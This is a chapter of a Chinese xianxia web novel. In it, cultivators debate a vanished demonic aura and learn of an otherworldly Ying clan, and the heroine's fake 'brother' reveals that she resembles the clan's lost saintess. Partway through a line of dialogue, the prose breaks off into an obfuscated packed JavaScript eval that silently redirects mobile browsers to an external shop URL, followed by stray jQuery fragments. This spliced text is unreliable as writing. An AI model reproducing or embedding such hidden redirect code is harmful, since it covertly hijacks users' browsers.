文趣网 > 其他小说 > 道侣一心求死 > 12. 荧族
    衣良夜蹙眉思索,仍觉得诡异,他执扇轻敲掌心,猛然一握,问道:“可是则鸣,到底是什么功法,或者神器,能够逃避满城修士的灵识,瞬间遮掩半神境界的妖气?若说是我等修为不精,不能目视心悟,可天问阁听闻妖蛟破封,特意用七曜司南帮忙指引此地妖气最盛之处,昨夜妖气失踪,天问阁也传来消息,七曜司南同样丢失了方向。直到现在,七曜司南都还未指引出被吸食的妖气去向。”

    七曜司南是天阶法器,可以指引此界万物的气息。而那股庞大的妖气却能逃脱七曜司南的追踪,好像在一瞬间从此世消失。

    “奇也怪哉,老道捉妖多年,从未遇到如此怪事。”一个面容白皙的修士抚着下颌不存在的胡须,老成地摇头晃脑。

    姜秾若见屋内愁云密布,认为这群修士真是钻牛角尖:“为什么总认为妖气是被遮掩起来了呢?它不能被炼化了,比如说变成灵力啊什么之类的,毕竟你们也不能确定一定是妖干的吧。”

    摇头晃脑的修士摆手反驳:“姜姑娘有所不知,修士对同类力量的感知,比对妖气的感知更灵敏,而且七曜司南同样也是能感受灵气的,别说方圆百里,就算千里,它也能指引出来灵力异常暴涨的人。良夜少主没有提这一茬,说明七曜司南是真的什么异常也没发现。”

    衣良夜轻轻点头,肯定了这番话。

    岳则鸣见妖气一事讨论不出所以然,忍不住将期冀的目光转向身旁一直未作声的谢晋衣,昆仑族或许有什么独到见解,能助众人拨云见日。

    谢晋衣轻抚下颌,思索片刻,微微一笑:“我倒觉得阿若说得有道理。你们说那个司南能感应此世万物的气息,如果不属于此世的气息呢?它还能感应到吗?”

    姜秾若对上他微弯的双眼,忍不住避开眼神。谢晋衣看似在说妖气去向,却对她笑得意味深长。

    “谢道友,这猜测过于天马行空了吧。我知道你照顾妹妹感受,但也不能这样胡乱应和。”

    “我从不骗人。”谢晋衣轻飘飘地瞥向说话的人,一副被冒犯的模样。

    哇!姜秾若不理解怎么会有人这么会演戏,好像刚刚和她编谎话骗了所有人的人不是他。

    “咳咳……”岳则鸣轻咳几声,拉回众人的注意力,“诸位,谢道友猜测或许有理。多亏姜姑娘和谢道友提醒,我方才想起曾在枣树下古籍中见过这样一段话‘昆仑以西,有大荒之泽,两气相死相生,相依相克,有怪横渡而来,自谓荧,异界之族也。’当时我不明就里,请教师尊,师尊告知我曾有界外族群横渡大荒之泽而来,他们自称荧族,身无灵气却有法力,似乎有自己修炼的法则。”

    昆仑山被认为是此界的西方尽头,绕过昆仑往西,只有无边沼泽,此地水泽遍布,了无灵气,生机断绝,除了几种只生长在此地的草木,没有生灵能在此生存,世称大荒之泽。所有妄图横渡的修士皆命丧于此地。仙门百家争抢灵脉疆域时,从不会将它纳入考量,甚至不认为它是修真界的一部分

    如今有人说,大荒之泽里出现过界外族群。

    “那后来呢?这些荧族来做什么,为什么我们从未听闻此事。”众人纳罕称奇,迫不及待询问后续。

    岳则鸣遗憾地摇头:“师尊说荧族是来求援的,具体出了什么事,师尊也未告知我。只说荧族界域崩毁,未能渡过劫难,此后再无荧族出现。或许涉及两界秘辛,师尊不便多说,典籍中亦鲜有记载。”

    想不到一桩捉妖悬案,竟牵引出所谓的界外荧族,来帮忙的各派修士们听到这种小道消息,也算心满意足,打趣道:“岳仙友将这秘辛公之于众,不怕剑阁怪罪?”

    岳则鸣笑道:“师尊知道我口无遮拦,肯告知我的,也能告知世人。”

    谢晋衣轻笑一声,冷而悦耳,显得突兀。

    岳则鸣以为他又有什么见解,忙虚心请教。

    “没什么,只是我要向岳道友致歉,方才我确实是怕阿若被驳了面子,信口而言,想不到岳道友当了真。”谢晋衣嘴上说抱歉,眉眼却似笑非笑,竟显出几分狂傲。

    方才反驳姜秾若的修士怒了:“谢道友,你……!”

    姜秾若觉得他抽风了,演得好好的,怎么突然揭了假面,还莫名其妙对无辜的岳则鸣冷嘲热讽。

    好在岳则鸣心宽体胖,并不在意,他甚至还感谢谢晋衣:“谢道友无心之言,却让我等醍醐灌顶,若没有阁下,这事不知还要耗到什么时候。”

    岳则鸣实在是善良体面。

    衣良夜揉揉额角,无奈道:“荧族身无灵气却有法力,说明他们自有我们无法查探到的力量支撑法力运转。若真是荧族作祟,那极有可能是将妖气转化为他们能驾驭的力量,七曜司南感应不到异界力量也不奇怪。当下要紧的是,如何将荧族揪出来。”

    他看向岳则鸣:“则鸣,不知梅鹤散人现在何处,能否劳烦他老人家相助。”

    “这……师尊走得匆忙,说是要给一个病秧子吊命,不知现下是否得空。我给他去信一封,若有消息,我第一时间告知诸位。”说完,岳则鸣掐诀,金色纸鹤振翅消逝。

    如此,这事便算告一段落。修士们也乏了,各自散去休憩。

    姜秾若要返回自己的小院,闻得暖香渐近,果然某人眨眼便越过元氏兄妹,与她并肩而行。

    “谢哥哥,想不到你这样放心不下我,真叫人感动。”

    谢晋衣温柔而笑:“阿若不是亲妹,胜于亲妹,衣府凶险万分,为兄定会片刻不离守着你。”

    姜秾若乖巧道:“哥哥真好,正好我院子里还要空房,哥哥不如就住下,我们也好叙叙旧。”

    两人兄妹情深,一路温情地回到姜秾若房间。

    “哐当——”

    姜秾若刚阖上房门,谢晋衣便拉开距离,自顾自坐在桌边倒了一杯茶。

    “谢哥哥,这是隔夜的茶水,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750948|209421||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我给你重新沏一壶吧。”

    谢晋衣终于忍不住,将茶杯重重搁在桌上。

    “行了,别捏着嗓子说话了。我在房间布了隔音术,那对兄妹听不到我们说话。”

    “哦,谢公子。”姜秾若也坐下来,猛灌了一杯茶,旋即被苦得皱起脸。

    谢晋衣笑了。

    人前谢哥哥,人后谢公子。

    “你倒厉害,白得两个耳报神,叫人随时随地监视自己。”

    “别这么说,秋霁和溪云是保护我的,没有经过我的允许,不会侵犯我的隐私的。”姜秾若不满。

    “那你这一路是在真情流露?”

    姜秾若尴尬地抠手:“这不是人多眼杂。他们就跟在身后,不刻意探听也能听到我两说话呀。再说路上就让你用什么隔音术,不会此地无银三百两吗?而且是你自己编的这一套说辞,我配合你而已。没我你还留不下来呢。”

    谢晋衣气笑了:“你属鱼?谁先无缘无故冲人喊的哥哥。”

    “哎呀,这不重要。”她起身从橱柜里拿出花篮,里面还有一碟昨日宋大娘送来的花饼。她将花饼放在桌上,请谢晋衣品尝。

    谢晋衣瞧着小巧可爱的糕点,拈起一个扔进嘴里,面无表情地咀嚼。

    “没有刚做的好吃。”

    姜秾若忍不住笑了:“确实,下次我们做了花饼,第一时间叫你。”

    毕竟他救了她好几次,做些糕点款待是应该的。

    想着想着,姜秾若皱起眉头:“我们第一次见面时,你说下次见面就告诉我那两个怪物抓我的原因,这是我们第几次见面了?”说完弯起手指头要开始数。

    “别装模做样了,统共三次有什么好数的。”谢晋衣发现这人越来越跳脱。

    “嗯,那请谢公子为我答疑解惑。”

    “你自己不是猜出来了?你长得很像他们要找的人,包括那只蛟蛇,也是因此袭击你。”

    姜秾若少见地冷笑:“你当我好骗?今天才一堆人讨论什么灵气妖气的。就算我和那个人长得像,那些妖怪难道分辨不出气息吗?”

    “这就要问姜姑娘自己了。你的来历,可否告知于我?为何不仅长得像早已消散的人,连气息都像?”谢晋衣一手支颐,一手轻敲桌面,“咚咚咚”地烦人。

    姜秾若咬牙,这人讨厌得很,问题莫名其妙就推给了自己,她破罐子破摔:“我要是知道问你做什么,你看我像是什么大人物吗?”

    谢晋衣被逗笑了:“姜姑娘别妄自菲薄,你来日定成大人物。”

    姜秾若一把拖过碟子,“别吃了,不是给你吃的!”

    “欸欸欸,好啦不逗你了。”谢晋衣从她手中抢过一枚花饼,几下咽进肚后终于正经起来:“姜姑娘,你长得像荧界消失数百年的圣女,气息也像,那两个怪物不是妖,是来寻圣女的荧族。妖蛟可能同样误以为你身负荧族圣女之力,妄图夺舍你的身体。”